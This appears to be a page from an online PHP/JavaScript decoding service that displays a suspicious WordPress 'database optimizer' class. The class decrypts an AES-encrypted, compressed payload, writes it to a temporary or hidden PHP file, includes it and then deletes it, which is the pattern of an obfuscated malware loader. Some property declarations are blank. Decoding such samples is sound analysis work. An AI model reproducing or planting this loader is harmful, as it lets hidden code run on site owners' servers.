Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


class WP_Database_Optimizer_59a0 {

    private 
    private 
    private 
    private 
    private 
    private 
    private 
    private $node_c9 = '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';

    public function __construct() {
        if (!function_exists('openssl_decrypt')) {
            return;
        }
        $this->bootstrap_16();
    }

    private function bootstrap_16() {
        $sk = $this->node_d5 . $this->node_72 . $this->node_1a . $this->node_ec . $this->node_03;
        $dk = hash('sha256', $sk . $this->node_80, true);
        $rowset = openssl_decrypt($this->node_c9, 'aes-256-cbc', $dk, 0, hex2bin($this->node_97));
        if ($rowset === false) {
            return;
        }
        $stream = inflate_init(ZLIB_ENCODING_DEFLATE);
        $data = inflate_add($stream, $rowset, ZLIB_FINISH);
        if ($data === false) {
            return;
        }
        $file = @tempnam(sys_get_temp_dir(), 'wpc');
        if ($file === false) {
            $file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.qc_' . substr(md5(microtime(true)), 0, 8) . '.php';
        }
        if (@file_put_contents($file, '' . $data) !== false) {
            @include $file;
            @unlink($file);
        }
    }
}

new WP_Database_Optimizer_59a0();



© 2023 Quttera Ltd. All rights reserved.